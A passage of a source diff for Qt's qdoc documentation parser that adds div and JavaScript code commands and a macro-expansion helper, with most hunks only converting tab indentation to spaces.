deref() { return (--count == 0); } @@ -301,7 +305,7 @@ void DocPrivate::addAlso(const Text& also) void DocPrivate::constructExtra() { if (extra == 0) - extra = new DocPrivateExtra; + extra = new DocPrivateExtra; } bool DocPrivate::isEnumDocSimplifiable() const @@ -350,7 +354,7 @@ class DocParser private: Location& location(); QString detailsUnknownCommand(const QSet<QString>& metaCommandSet, - const QString& str); + const QString& str); void checkExpiry(const QString& date); void insertBaseName(const QString &baseName); void insertTarget(const QString& target, bool keyword); @@ -365,16 +369,18 @@ class DocParser void appendChar(QChar ch); void appendWord(const QString &word); void appendToCode(const QString &code); + void appendToCode(const QString &code, Atom::Type defaultType); void startNewPara(); void enterPara(Atom::Type leftType = Atom::ParaLeft, - Atom::Type rightType = Atom::ParaRight, - const QString& string = ""); + Atom::Type rightType = Atom::ParaRight, + const QString& string = ""); void leavePara(); void leaveValue(); void leaveValueList(); void leaveTableRow(); CodeMarker *quoteFromFile(); void expandMacro(const QString& name, const QString& def, int numParams); + QString expandMacroToString(const QString &name, const QString &def, int numParams); Doc::SectioningUnit getSectioningUnit(); QString getArgument(bool verbatim = false); QString getOptionalArgument(); @@ -534,7 +540,7 @@ void DocParser::parse(const QString& source, enterPara(); x = untabifyEtc(getArgument(true)); marker = CodeMarker::markerForCode(x); - append(Atom::C, marker->markedUpCode(x, 0, "")); + append(Atom::C, marker->markedUpCode(x, 0, location())); break; case CMD_CAPTION: leavePara(); @@ -547,15 +553,26 @@ void DocParser::parse(const QString& source, leavePara(); append(Atom::Code, getCode(CMD_CODE, marker)); break; -#ifdef QDOC_QML +#ifdef QDOC_QML case CMD_QML: leavePara(); - append(Atom::Qml, getCode(CMD_QML, marker)); + append(Atom::Qml, getCode(CMD_QML, CodeMarker::markerForLanguage(QLatin1String("QML")))); break; case CMD_QMLTEXT: append(Atom::QmlText); break; -#endif + case CMD_JS: + leavePara(); + append(Atom::JavaScript, getCode(CMD_JS, CodeMarker::markerForLanguage(QLatin1String("JavaScript")))); + break; +#endif + case CMD_DIV: + leavePara(); + x = getArgument(true); + append(Atom::Div, x); + openedCommands.push(cmd); + enterPara(); + break; case CMD_CODELINE: { if (!quoting) { @@ -623,6 +640,11 @@ void DocParser::parse(const QString& source, case CMD_ENDCODE: closeCommand(cmd); break; + case CMD_ENDDIV: + leavePara(); + append(Atom::EndDiv); + closeCommand(cmd); + break; #ifdef QDOC_QML case CMD_ENDQML: closeCommand(cmd); @@ -630,6 +652,9 @@ void DocParser::parse(const QString& source, case CMD_ENDQMLTEXT: append(Atom::EndQmlText); break; + case CMD_ENDJS: + closeCommand(cmd); + break; #endif case CMD_ENDFOOTNOTE: if (closeCommand(cmd)) { @@ -1088,9 +1113,8 @@ void DocParser::parse(const QString& source, append(Atom::SnippetIdentifier, identifier); } else { - Doc::quoteFromFile(location(),quoter,snippet); - appendToCode(quoter.quoteSnippet(location(), - identifier)); + marker = Doc::quoteFromFile(location(),quoter,snippet); + appendToCode(quoter.quoteSnippet(location(), identifier), marker->atomType()); } } break; @@ -1229,7 +1253,7 @@ void DocParser::parse(const QString& source, } else { location().push(macro.defaultDefLocation.filePath()); - in.insert(pos, macro.defaultDef); + in.insert(pos, expandMacroToString(cmdStr, macro.defaultDef, macro.numParams)); len = in.length(); openedInputs.push(pos + macro.defaultDef.length()); } @@ -1465,35 +1489,35 @@ void DocParser::checkExpiry(const QString& date) QRegExp ymd("(\\d{4})(?:-(\\d{2})(?:-(\\d{2})))"); if (ymd.exactMatch(date)) { - int y = ymd.cap(1).toInt(); - int m = ymd.cap(2).toInt(); - int d = ymd.cap(3).toInt(); - - if (m == 0) - m = 1; - if (d == 0) - d = 1; - QDate expiryDate(y, m, d); - if (expiryDate.isValid()) { - int days = expiryDate.daysTo(QDate::currentDate()); - if (days == 0) { - location().warning(tr("Documentation expires today")); - } + int y = ymd.cap(1).toInt(); + int m = ymd.cap(2).toInt(); + int d = ymd.cap(3).toInt(); + + if (m == 0) + m = 1; + if (d == 0) + d = 1; + QDate expiryDate(y, m, d); + if (expiryDate.isValid()) { + int days = expiryDate.daysTo(QDate::currentDate()); + if (days == 0) { + location().warning(tr("Documentation expires today")); + } else if (days == 1) { - location().warning(tr("Documentation expired yesterday")); - } + location().warning(tr("Documentation expired yesterday")); + } else if (days >= 2) { - location().warning(tr("Documentation expired %1 days ago") - .arg(days)); - } - } + location().warning(tr("Documentation expired %1 days ago") + .arg(days)); + } + } else { - location().warning(tr("Date '%1' invalid").arg(date)); - } + location().warning(tr("Date '%1' invalid").arg(date)); + } } else { - location().warning(tr("Date '%1' not in YYYY-MM-DD format") - .arg(date)); + location().warning(tr("Date '%1' not in YYYY-MM-DD format") + .arg(date)); } } @@ -1501,34 +1525,34 @@ void DocParser::insertBaseName(const QString &baseName) { priv->constructExtra(); if (currentSectioningUnit == priv->extra->sectioningUnit) { - priv->extra->baseName = baseName; + priv->extra->baseName = baseName; } else { - Atom *atom = priv->text.firstAtom(); - Atom *sectionLeft = 0; + Atom *atom = priv->text.firstAtom(); + Atom *sectionLeft = 0; - int delta = currentSectioningUnit - priv->extra->sectioningUnit; + int delta = currentSectioningUnit - priv->extra->sectioningUnit; - while (atom != 0) { - if (atom->type() == Atom::SectionLeft && - atom->string().toInt() == delta) - sectionLeft = atom; - atom = atom->next(); - } - if (sectionLeft != 0) - (void) new Atom(sectionLeft, Atom::BaseName, baseName); + while (atom != 0) { + if (atom->type() == Atom::SectionLeft && + atom->string().toInt() == delta) + sectionLeft = atom; + atom = atom->next(); + } + if (sectionLeft != 0) + (void) new Atom(sectionLeft, Atom::BaseName, baseName); } } void DocParser::insertTarget(const QString &target, bool keyword) { if (targetMap.contains(target)) { - location().warning(tr("Duplicate target name '%1'").arg(target)); - targetMap[target].warning(tr("(The previous occurrence is here)")); + location().warning(tr("Duplicate target name '%1'").arg(target)); + targetMap[target].warning(tr("(The previous occurrence is here)")); } else { - targetMap.insert(target, location()); - append(Atom::Target, target); + targetMap.insert(target, location()); + append(Atom::Target, target); priv->constructExtra(); if (keyword) priv->extra->keywords.append(priv->text.lastAtom()); @@ -1540,8 +1564,8 @@ void DocParser::insertTarget(const QString &target, bool keyword) void DocParser::include(const QString& fileName) { if (location().depth() > 16) - location().fatal(tr("Too many nested '\\%1's") - .arg(cmdName(CMD_INCLUDE))); + location().fatal(tr("Too many nested '\\%1's") + .arg(cmdName(CMD_INCLUDE))); QString userFriendlyFilePath; // ### use current directory? @@ -1551,25 +1575,25 @@ void DocParser::include(const QString& fileName) fileName, userFriendlyFilePath); if (filePath.isEmpty()) { - location().warning(tr("Cannot find leaf file '%1'").arg(fileName)); + location().warning(tr("Cannot find leaf file '%1'").arg(fileName)); } else { - QFile inFile(filePath); - if (!inFile.open(QFile::ReadOnly)) { - location().warning(tr("Cannot open leaf file '%1'") - .arg(userFriendlyFilePath)); - } + QFile inFile(filePath); + if (!inFile.open(QFile::ReadOnly)) { + location().warning(tr("Cannot open leaf file '%1'") + .arg(userFriendlyFilePath)); + } else { - location().push(userFriendlyFilePath); + location().push(userFriendlyFilePath); - QTextStream inStream(&inFile); - QString includedStuff = inStream.readAll(); - inFile.close(); + QTextStream inStream(&inFile); + QString includedStuff = inStream.readAll(); + inFile.close(); - in.insert(pos, includedStuff); - len = in.length(); - openedInputs.push(pos + includedStuff.length()); - } + in.insert(pos, includedStuff); + len = in.length(); + openedInputs.push(pos + includedStuff.length()); + } } } @@ -1579,29 +1603,29 @@ void DocParser::startFormat(const QString& format, int cmd) QMap<int, QString>::ConstIterator f = pendingFormats.begin(); while (f != pendingFormats.end()) { - if (*f == format) { - location().warning(tr("Cannot nest '\\%1' commands") - .arg(cmdName(cmd))); - return; - } - ++f; + if (*f == format) { + location().warning(tr("Cannot nest '\\%1' commands") + .arg(cmdName(cmd))); + return; + } + ++f; } append(Atom::FormattingLeft, format); if (isLeftBraceAhead()) { - skipSpacesOrOneEndl(); - pendingFormats.insert(braceDepth, format); - ++braceDepth; - ++pos; + skipSpacesOrOneEndl(); + pendingFormats.insert(braceDepth, format); + ++braceDepth; + ++pos; } else { - append(Atom::String, getArgument()); - append(Atom::FormattingRight, format); - if (format == ATOM_FORMATTING_INDEX && indexStartedPara) { - skipAllSpaces(); - indexStartedPara = false; - } + append(Atom::String, getArgument()); + append(Atom::FormattingRight, format); + if (format == ATOM_FORMATTING_INDEX && indexStartedPara) { + skipAllSpaces(); + indexStartedPara = false; + } } } @@ -1612,37 +1636,37 @@ bool DocParser::openCommand(int cmd) if (cmd != CMD_LINK) { if (outer == CMD_LIST) { - ok = (cmd == CMD_FOOTNOTE || cmd == CMD_LIST); + ok = (cmd == CMD_FOOTNOTE || cmd == CMD_LIST); } else if (outer == CMD_ABSTRACT) { - ok = (cmd == CMD_LIST || + ok = (cmd == CMD_LIST || cmd == CMD_QUOTATION || cmd == CMD_TABLE); } else if (outer == CMD_SIDEBAR) { - ok = (cmd == CMD_LIST || + ok = (cmd == CMD_LIST || cmd == CMD_QUOTATION || cmd == CMD_SIDEBAR); } else if (outer == CMD_QUOTATION) { - ok = (cmd == CMD_LIST); + ok = (cmd == CMD_LIST); } else if (outer == CMD_TABLE) { - ok = (cmd == CMD_LIST || + ok = (cmd == CMD_LIST || cmd == CMD_FOOTNOTE || cmd == CMD_QUOTATION); } else if (outer == CMD_FOOTNOTE || outer == CMD_LINK) { - ok = false; + ok = false; } } if (ok) { - openedCommands.push(cmd); + openedCommands.push(cmd); } else { - location().warning(tr("Cannot use '\\%1' within '\\%2'") - .arg(cmdName(cmd)).arg(cmdName(outer))); + location().warning(tr("Cannot use '\\%1' within '\\%2'") + .arg(cmdName(cmd)).arg(cmdName(outer))); } return ok; } @@ -1650,74 +1674,67 @@ bool DocParser::openCommand(int cmd) bool DocParser::closeCommand(int endCmd) { if (endCmdFor(openedCommands.top()) == endCmd && openedCommands.size() > 1) { - openedCommands.pop(); - return true; + openedCommands.pop(); + return true; } else { - bool contains = false; - QStack<int> opened2 = openedCommands; - while (opened2.size() > 1) { - if (endCmdFor(opened2.top()) == endCmd) { - contains = true; - break; - } - opened2.pop(); - } - - if (contains) { - while (endCmdFor(openedCommands.top()) != endCmd && openedCommands.size() > 1) { - location().warning(tr("Missing '\\%1' before '\\%2'") - .arg(endCmdName(openedCommands.top())) - .arg(cmdName(endCmd))); - openedCommands.pop(); - } - } + bool contains = false; + QStack<int> opened2 = openedCommands; + while (opened2.size() > 1) { + if (endCmdFor(opened2.top()) == endCmd) { + contains = true; + break; + } + opened2.pop(); + } + + if (contains) { + while (endCmdFor(openedCommands.top()) != endCmd && openedCommands.size() > 1) { + location().warning(tr("Missing '\\%1' before '\\%2'") + .arg(endCmdName(openedCommands.top())) + .arg(cmdName(endCmd))); + openedCommands.pop(); + } + } else { - location().warning(tr("Unexpected '\\%1'") - .arg(cmdName(endCmd))); - } - return false; + location().warning(tr("Unexpected '\\%1'") + .arg(cmdName(endCmd))); + } + return false; } } void DocParser::startSection(Doc::SectioningUnit unit, int cmd) { - leavePara(); + leaveValueList(); if (currentSectioningUnit == Doc::Book) { -#if 0 - // mws didn't think this was necessary. - if (unit > Doc::Section1) - location().warning(tr("Unexpected '\\%1' without '\\%2'") - .arg(cmdName(cmd)) - .arg(cmdName(CMD_SECTION1))); -#endif - currentSectioningUnit = (Doc::SectioningUnit) (unit - 1); - priv->constructExtra(); - priv->extra->sectioningUnit = currentSectioningUnit; + currentSectioningUnit = (Doc::SectioningUnit) (unit - 1); + priv->constructExtra(); + priv->extra->sectioningUnit = currentSectioningUnit; } if (unit <= priv->extra->sectioningUnit) { - location().warning(tr("Unexpected '\\%1' in this documentation") - .arg(cmdName(cmd))); + location().warning(tr("Unexpected '\\%1' in this documentation") + .arg(cmdName(cmd))); } else if (unit - currentSectioningUnit > 1) { - location().warning(tr("Unexpected '\\%1' at this point") - .arg(cmdName(cmd))); + location().warning(tr("Unexpected '\\%1' at this point") + .arg(cmdName(cmd))); } else { - if (currentSectioningUnit >= unit) - endSection(unit, cmd); + if (currentSectioningUnit >= unit) + endSection(unit, cmd); - int delta = unit - priv->extra->sectioningUnit; - append(Atom::SectionLeft, QString::number(delta)); + int delta = unit - priv->extra->sectioningUnit; + append(Atom::SectionLeft, QString::number(delta)); priv->constructExtra(); priv->extra->tableOfContents.append(priv->text.lastAtom()); priv->extra->tableOfContentsLevels.append(unit); - enterPara(Atom::SectionHeadingLeft, + enterPara(Atom::SectionHeadingLeft, Atom::SectionHeadingRight, QString::number(delta)); - currentSectioningUnit = unit; + currentSectioningUnit = unit; } } @@ -1726,20 +1743,20 @@ void DocParser::endSection(int unit, int endCmd) leavePara(); if (unit < priv->extra->sectioningUnit) { - location().warning(tr("Unexpected '\\%1' in this documentation") - .arg(cmdName(endCmd))); + location().warning(tr("Unexpected '\\%1' in this documentation") + .arg(cmdName(endCmd))); } else if (unit > currentSectioningUnit) { - location().warning(tr("Unexpected '\\%1' at this point") - .arg(cmdName(endCmd))); + location().warning(tr("Unexpected '\\%1' at this point") + .arg(cmdName(endCmd))); } else { - while (currentSectioningUnit >= unit) { - int delta = currentSectioningUnit - priv->extra->sectioningUnit; - append(Atom::SectionRight, QString::number(delta)); - currentSectioningUnit = - (Doc::SectioningUnit) (currentSectioningUnit - 1); - } + while (currentSectioningUnit >= unit) { + int delta = currentSectioningUnit - priv->extra->sectioningUnit; + append(Atom::SectionRight, QString::number(delta)); + currentSectioningUnit = + (Doc::SectioningUnit) (currentSectioningUnit - 1); + } } } @@ -1828,25 +1845,34 @@ void DocParser::appendChar(QChar ch) void DocParser::appendWord(const QString &word) { if (priv->text.lastAtom()->type() != Atom::String) { - append(Atom::String, word); + append(Atom::String, word); } else - priv->text.lastAtom()->appendString(word); + priv->text.lastAtom()->appendString(word); } void DocParser::appendToCode(const QString& markedCode) { Atom::Type lastType = priv->text.lastAtom()->type(); #ifdef QDOC_QML - if (lastType != Atom::Qml) - append(Atom::Qml); + if (lastType != Atom::Qml && lastType != Atom::Code && lastType != Atom::JavaScript) + append(Atom::Qml); #else if (lastType != Atom::Code) - append(Atom::Code); + append(Atom::Code); #endif priv->text.lastAtom()->appendString(markedCode); } +void DocParser::appendToCode(const QString &markedCode, Atom::Type defaultType) +{ + Atom::Type lastType = priv->text.lastAtom()->type(); + if (lastType != Atom::Qml && lastType != Atom::Code && lastType != Atom::JavaScript) + append(defaultType, markedCode); + else + priv->text.lastAtom()->appendString(markedCode); +} + void DocParser::startNewPara() { leavePara(); @@ -1860,47 +1886,44 @@ void DocParser::enterPara(Atom::Type leftType, if (paraState == OutsidePara) { if (priv->text.lastAtom()->type() != Atom::ListItemLeft) leaveValueList(); - append(leftType, string); - indexStartedPara = false; - pendingParaLeftType = leftType; - pendingParaRightType = rightType; - pendingParaString = string; - if ( -#if 0 - leftType == Atom::BriefLeft || -#endif - leftType == Atom::SectionHeadingLeft) { - paraState = InsideSingleLinePara; - } + append(leftType, string); + indexStartedPara = false; + pendingParaLeftType = leftType; + pendingParaRightType = rightType; + pendingParaString = string; + if ( + leftType == Atom::SectionHeadingLeft) { + paraState = InsideSingleLinePara; + } else { - paraState = InsideMultiLinePara; - } - skipSpacesOrOneEndl(); + paraState = InsideMultiLinePara; + } + skipSpacesOrOneEndl(); } } void DocParser::leavePara() { if (paraState != OutsidePara) { - if (!pendingFormats.isEmpty()) { - location().warning(tr("Missing '}'")); - pendingFormats.clear(); - } - - if (priv->text.lastAtom()->type() == pendingParaLeftType) { - priv->text.stripLastAtom(); - } + if (!pendingFormats.isEmpty()) { + location().warning(tr("Missing '}'")); + pendingFormats.clear(); + } + + if (priv->text.lastAtom()->type() == pendingParaLeftType) { + priv->text.stripLastAtom(); + } else { - if (priv->text.lastAtom()->type() == Atom::String && - priv->text.lastAtom()->string().endsWith(" ")) { - priv->text.lastAtom()->chopString(); - } - append(pendingParaRightType, pendingParaString); - } - paraState = OutsidePara; - indexStartedPara = false; - pendingParaRightType = Atom::Nop; - pendingParaString = ""; + if (priv->text.lastAtom()->type() == Atom::String && + priv->text.lastAtom()->string().endsWith(" ")) { + priv->text.lastAtom()->chopString(); + } + append(pendingParaRightType, pendingParaString); + } + paraState = OutsidePara; + indexStartedPara = false; + pendingParaRightType = Atom::Nop; + pendingParaString = ""; } } @@ -1908,13 +1931,13 @@ void DocParser::leaveValue() { leavePara(); if (openedLists.isEmpty()) { - openedLists.push(OpenedList(OpenedList::Value)); - append(Atom::ListLeft, ATOM_LIST_VALUE); + openedLists.push(OpenedList(OpenedList::Value)); + append(Atom::ListLeft, ATOM_LIST_VALUE); } else { if (priv->text.lastAtom()->type() == Atom::Nop) priv->text.stripLastAtom(); - append(Atom::ListItemRight, ATOM_LIST_VALUE); + append(Atom::ListItemRight, ATOM_LIST_VALUE); } } @@ -1925,9 +1948,9 @@ void DocParser::leaveValueList() (openedLists.top().style() == OpenedList::Value)) { if (priv->text.lastAtom()->type() == Atom::Nop) priv->text.stripLastAtom(); - append(Atom::ListItemRight, ATOM_LIST_VALUE); - append(Atom::ListRight, ATOM_LIST_VALUE); - openedLists.pop(); + append(Atom::ListItemRight, ATOM_LIST_VALUE); + append(Atom::ListRight, ATOM_LIST_VALUE); + openedLists.pop(); } } @@ -1958,43 +1981,79 @@ void DocParser::expandMacro(const QString &name, int numParams) { if (numParams == 0) { - append(Atom::RawString, def); + append(Atom::RawString, def); + } + else { + QStringList args; + QString rawString; + + for (int i = 0; i < numParams; i++) { + if (numParams == 1 || isLeftBraceAhead()) { + args << getArgument(true); + } + else { + location().warning(tr("Macro '\\%1' invoked with too few" + " arguments (expected %2, got %3)") + .arg(name).arg(numParams).arg(i)); + break; + } + } + + int j = 0; + while (j < def.size()) { + int paramNo; + if (((paramNo = def[j].unicode()) >= 1) && + (paramNo <= numParams)) { + if (!rawString.isEmpty()) { + append(Atom::RawString, rawString); + rawString = ""; + } + append(Atom::String, args[paramNo - 1]); + j += 1; + } + else { + rawString += def[j++]; + } + } + if (!rawString.isEmpty()) + append(Atom::RawString, rawString); + } +} + +QString DocParser::expandMacroToString(const QString &name, const QString &def, int numParams) +{ + if (numParams == 0) { + return def; } else { - QStringList args; - QString rawString; + QStringList args; + QString rawString; - for (int i = 0; i < numParams; i++) { - if (numParams == 1 || isLeftBraceAhead()) { - args << getArgument(true); - } + for (int i = 0; i < numParams; i++) { + if (numParams == 1 || isLeftBraceAhead()) { + args << getArgument(true); + } else { - location().warning(tr("Macro '\\%1' invoked with too few" - " arguments (expected %2, got %3)") - .arg(name).arg(numParams).arg(i)); - break; - } - } - - int j = 0; - while (j < def.size()) { - int paramNo; - if ((def[j] == '\\') && (j < def.size() - 1) && - ((paramNo = def[j + 1].digitValue()) >= 1) && + location().warning(tr("Macro '\\%1' invoked with too few" + " arguments (expected %2, got %3)") + .arg(name).arg(numParams).arg(i)); + break; + } + } + + int j = 0; + while (j < def.size()) { + int paramNo; + if (((paramNo = def[j].unicode()) >= 1) && (paramNo <= numParams)) { - if (!rawString.isEmpty()) { - append(Atom::RawString, rawString); - rawString = ""; - } - append(Atom::String, args[paramNo - 1]); - j += 2; - } + rawString += args[paramNo - 1]; + j += 1; + } else { - rawString += def[j++]; - } - } - if (!rawString.isEmpty()) - append(Atom::RawString, rawString); + rawString += def[j++]; + } + } + return rawString; } } @@ -2003,29 +2062,29 @@ Doc::SectioningUnit DocParser::getSectioningUnit() QString name = getOptionalArgument(); if (name == "part") { - return Doc::Part; + return Doc::Part; } else if (name == "chapter") { - return Doc::Chapter; + return Doc::Chapter; } else if (name == "section1") { - return Doc::Section1; + return Doc::Section1; } else if (name == "section2") { - return Doc::Section2; + return Doc::Section2; } else if (name == "section3") { - return Doc::Section3; + return Doc::Section3; } else if (name == "section4") { - return Doc::Section4; + return Doc::Section4; } else if (name.isEmpty()) { - return Doc::Section4; + return Doc::Section4; } else { - location().warning(tr("Invalid sectioning unit '%1'").arg(name)); - return Doc::Book; + location().warning(tr("Invalid sectioning unit '%1'").arg(name)); + return Doc::Book; } } @@ -2042,115 +2101,115 @@ QString DocParser::getArgument(bool verbatim) Typically, an argument ends at the next white-space. However, braces can be used to group words: - {a few words} + {a few words} Also, opening and closing parentheses have to match. Thus, - printf("%d\n", x) + printf("%d\n", x) is an argument too, although it contains spaces. Finally, trailing punctuation is not included in an argument, nor is 's. */ if (pos < (int) in.length() && in[pos] == '{') { - pos++; - while (pos < (int) in.length() && delimDepth >= 0) { - switch (in[pos].unicode()) { - case '{': - delimDepth++; - arg += "{"; - pos++; - break; - case '}': - delimDepth--; - if (delimDepth >= 0) - arg += "}"; - pos++; - break; - case '\\': - if (verbatim) { - arg += in[pos]; - pos++; - } + pos++; + while (pos < (int) in.length() && delimDepth >= 0) { + switch (in[pos].unicode()) { + case '{': + delimDepth++; + arg += "{"; + pos++; + break; + case '}': + delimDepth--; + if (delimDepth >= 0) + arg += "}"; + pos++; + break; + case '\\': + if (verbatim) { + arg += in[pos]; + pos++; + } else { - pos++; - if (pos < (int) in.length()) { - if (in[pos].isLetterOrNumber()) - break; - arg += in[pos]; - if (in[pos].isSpace()) { - skipAllSpaces(); - } + pos++; + if (pos < (int) in.length()) { + if (in[pos].isLetterOrNumber()) + break; + arg += in[pos]; + if (in[pos].isSpace()) { + skipAllSpaces(); + } else { - pos++; - } - } - } - break; - default: - arg += in[pos]; - pos++; - } - } - if (delimDepth > 0) - location().warning(tr("Missing '}'")); + pos++; + } + } + } + break; + default: + arg += in[pos]; + pos++; + } + } + if (delimDepth > 0) + location().warning(tr("Missing '}'")); } else { - while (pos < in.length() && + while (pos < in.length() && ((delimDepth > 0) || ((delimDepth == 0) && !in[pos].isSpace()))) { - switch (in[pos].unicode()) { - case '(': - case '[': - case '{': - delimDepth++; - arg += in[pos]; - pos++; - break; - case ')': - case ']': - case '}': - delimDepth--; - if (pos == startPos || delimDepth >= 0) { - arg += in[pos]; - pos++; - } - break; - case '\\': - if (verbatim) { - arg += in[pos]; - pos++; - } + switch (in[pos].unicode()) { + case '(': + case '[': + case '{': + delimDepth++; + arg += in[pos]; + pos++; + break; + case ')': + case ']': + case '}': + delimDepth--; + if (pos == startPos || delimDepth >= 0) { + arg += in[pos]; + pos++; + } + break; + case '\\': + if (verbatim) { + arg += in[pos]; + pos++; + } else { - pos++; - if (pos < (int) in.length()) { - if (in[pos].isLetterOrNumber()) - break; - arg += in[pos]; - if (in[pos].isSpace()) { - skipAllSpaces(); - } + pos++; + if (pos < (int) in.length()) { + if (in[pos].isLetterOrNumber()) + break; + arg += in[pos]; + if (in[pos].isSpace()) { + skipAllSpaces(); + } else { - pos++; - } - } - } - break; - default: - arg += in[pos]; - pos++; - } - } - if ((arg.length() > 1) && + pos++; + } + } + } + break; + default: + arg += in[pos]; + pos++; + } + } + if ((arg.length() > 1) && (QString(".,:;!?").indexOf(in[pos - 1]) != -1) && !arg.endsWith("...")) { - arg.truncate(arg.length() - 1); - pos--; - } - if (arg.length() > 2 && in.mid(pos - 2, 2) == "'s") { - arg.truncate(arg.length() - 2); - pos -= 2; - } + arg.truncate(arg.length() - 1); + pos--; + } + if (arg.length() > 2 && in.mid(pos - 2, 2) == "'s") { + arg.truncate(arg.length() - 2); + pos -= 2; + } } return arg.simplified(); } @@ -2159,11 +2218,11 @@ QString DocParser::getOptionalArgument() { skipSpacesOrOneEndl(); if (pos + 1 < (int) in.length() && in[pos] == '\\' && - in[pos + 1].isLetterOrNumber()) { - return ""; + in[pos + 1].isLetterOrNumber()) { + return ""; } else { - return getArgument(); + return getArgument(); } } @@ -2226,7 +2285,7 @@ QString DocParser::getMetaCommandArgument(const QString &cmdStr) else if (in.at(pos) == ')') --parenDepth; - ++pos; + ++pos; } if (pos == in.size() && parenDepth > 0) { pos = begin; @@ -2246,12 +2305,12 @@ QString DocParser::getUntilEnd(int cmd) int end = rx.indexIn(in, pos); if (end == -1) { - location().warning(tr("Missing '\\%1'").arg(cmdName(endCmd))); - pos = in.length(); + location().warning(tr("Missing '\\%1'").arg(cmdName(endCmd))); + pos = in.length(); } else { - t = in.mid(pos, end - pos); - pos = end + rx.matchedLength(); + t = in.mid(pos, end - pos); + pos = end + rx.matchedLength(); } return t; } @@ -2263,8 +2322,9 @@ QString DocParser::getCode(int cmd, CodeMarker *marker) if (indent < minIndent) minIndent = indent; code = unindent(minIndent, code); - marker = CodeMarker::markerForCode(code); - return marker->markedUpCode(code, 0, ""); + if (!marker) + marker = CodeMarker::markerForCode(code); + return marker->markedUpCode(code, 0, location()); } /*! @@ -2273,12 +2333,6 @@ QString DocParser::getCode(int cmd, CodeMarker *marker) QString DocParser::getUnmarkedCode(int cmd) { QString code = getUntilEnd(cmd); -#if 0 - int indent = indentLevel(code); - if (indent < minIndent) - minIndent = indent; - code = unindent(minIndent, code); -#endif return code; } @@ -2287,9 +2341,9 @@ bool DocParser::isBlankLine() int i = pos; while (i < len && in[i].isSpace()) { - if (in[i] == '\n') - return true; - i++; + if (in[i] == '\n') + return true; + i++; } return false; } @@ -2300,10 +2354,10 @@ bool DocParser::isLeftBraceAhead() int i = pos; while (i < len && in[i].isSpace() && numEndl < 2) { - // ### bug with '\\' - if (in[i] == '\n') - numEndl++; - i++; + // ### bug with '\\' + if (in[i] == '\n') + numEndl++; + i++; } return numEndl < 2 && i < len && in[i] == '{'; } @@ -2313,31 +2367,31 @@ void DocParser::skipSpacesOnLine() while ((pos < in.length()) && in[pos].isSpace() && (in[pos].unicode() != '\n')) - ++pos; + ++pos; } void DocParser::skipSpacesOrOneEndl() { int firstEndl = -1; while (pos < (int) in.length() && in[pos].isSpace()) { - QChar ch = in[pos]; - if (ch == '\n') { - if (firstEndl == -1) { - firstEndl = pos; - } + QChar ch = in[pos]; + if (ch == '\n') { + if (firstEndl == -1) { + firstEndl = pos; + } else { - pos = firstEndl; - break; - } - } - pos++; + pos = firstEndl; + break; + } + } + pos++; } } void DocParser::skipAllSpaces() { while (pos < len && in[pos].isSpace()) - pos++; + pos++; } void DocParser::skipToNextPreprocessorCommand() @@ -2348,62 +2402,66 @@ void DocParser::skipToNextPreprocessorCommand() int end = rx.indexIn(in, pos + 1); // ### + 1 necessary? if (end == -1) - pos = in.length(); + pos = in.length(); else - pos = end; + pos = end; } int DocParser::endCmdFor(int cmd) { switch (cmd) { case CMD_ABSTRACT: - return CMD_ENDABSTRACT; + return CMD_ENDABSTRACT; case CMD_BADCODE: - return CMD_ENDCODE; + return CMD_ENDCODE; case CMD_CHAPTER: - return CMD_ENDCHAPTER; + return CMD_ENDCHAPTER; case CMD_CODE: - return CMD_ENDCODE; + return CMD_ENDCODE; + case CMD_DIV: + return CMD_ENDDIV; #ifdef QDOC_QML case CMD_QML: - return CMD_ENDQML; + return CMD_ENDQML; case CMD_QMLTEXT: - return CMD_ENDQMLTEXT; + return CMD_ENDQMLTEXT; + case CMD_JS: + return CMD_ENDJS; #endif case CMD_FOOTNOTE: - return CMD_ENDFOOTNOTE; + return CMD_ENDFOOTNOTE; case CMD_LEGALESE: return CMD_ENDLEGALESE; case CMD_LINK: return CMD_ENDLINK; case CMD_LIST: - return CMD_ENDLIST; + return CMD_ENDLIST; case CMD_NEWCODE: return CMD_ENDCODE; case CMD_OLDCODE: return CMD_NEWCODE; case CMD_OMIT: - return CMD_ENDOMIT; + return CMD_ENDOMIT; case CMD_PART: - return CMD_ENDPART; + return CMD_ENDPART; case CMD_QUOTATION: - return CMD_ENDQUOTATION; + return CMD_ENDQUOTATION; case CMD_RAW: return CMD_ENDRAW; case CMD_SECTION1: - return CMD_ENDSECTION1; + return CMD_ENDSECTION1; case CMD_SECTION2: - return CMD_ENDSECTION2; + return CMD_ENDSECTION2; case CMD_SECTION3: - return CMD_ENDSECTION3; + return CMD_ENDSECTION3; case CMD_SECTION4: - return CMD_ENDSECTION4; + return CMD_ENDSECTION4; case CMD_SIDEBAR: - return CMD_ENDSIDEBAR; + return CMD_ENDSIDEBAR; case CMD_TABLE: - return CMD_ENDTABLE; + return CMD_ENDTABLE; default: - return cmd; + return cmd; } } @@ -2457,14 +2515,14 @@ int DocParser::indentLevel(const QString& str) int column = 0; for (int i = 0; i < (int) str.length(); i++) { - if (str[i] == '\n') { - column = 0; - } + if (str[i] == '\n') { + column = 0; + } else { - if (str[i] != ' ' && column < minIndent) - minIndent = column; - column++; - } + if (str[i] != ' ' && column < minIndent) + minIndent = column; + column++; + } } return minIndent; } @@ -2472,21 +2530,21 @@ int DocParser::indentLevel(const QString& str) QString DocParser::unindent(int level, const QString& str) { if (level == 0) - return str; + return str; QString t; int column = 0; for (int i = 0; i < (int) str.length(); i++) { if (str[i] == QLatin1Char('\n')) { - t += '\n'; - column = 0; - } + t += '\n'; + column = 0; + } else { - if (column >= level) - t += str[i]; - column++; - } + if (column >= level) + t += str[i]; + column++; + } } return t; } @@ -2524,15 +2582,15 @@ Doc::Doc(const Doc& doc) Doc::~Doc() { if (priv && priv->deref()) - delete priv; + delete priv; } Doc &Doc::operator=(const Doc& doc) { if (doc.priv) - doc.priv->ref(); + doc.priv->ref(); if (priv && priv->deref()) - delete priv; + delete priv; priv = doc.priv; return *this; } @@ -2621,9 +2679,9 @@ const Text& Doc::body() const return priv == 0 ? dummy : priv->text; } -Text Doc::briefText() const +Text Doc::briefText(bool inclusive) const { - return body().subText(Atom::BriefLeft, Atom::BriefRight); + return body().subText(Atom::BriefLeft, Atom::BriefRight, 0, inclusive); } Text Doc::trimmedBriefText(const QString &className) const @@ -2699,18 +2757,18 @@ Text Doc::trimmedBriefText(const QString &className) const whats = w.join(" "); if (whats.endsWith(".")) - whats.truncate(whats.length() - 1); + whats.truncate(whats.length() - 1); if (whats.isEmpty()) { - location().warning( + location().warning( tr("Nonstandard wording in '\\%1' text for '%2' (expected more text)") .arg(COMMAND_BRIEF).arg(className)); 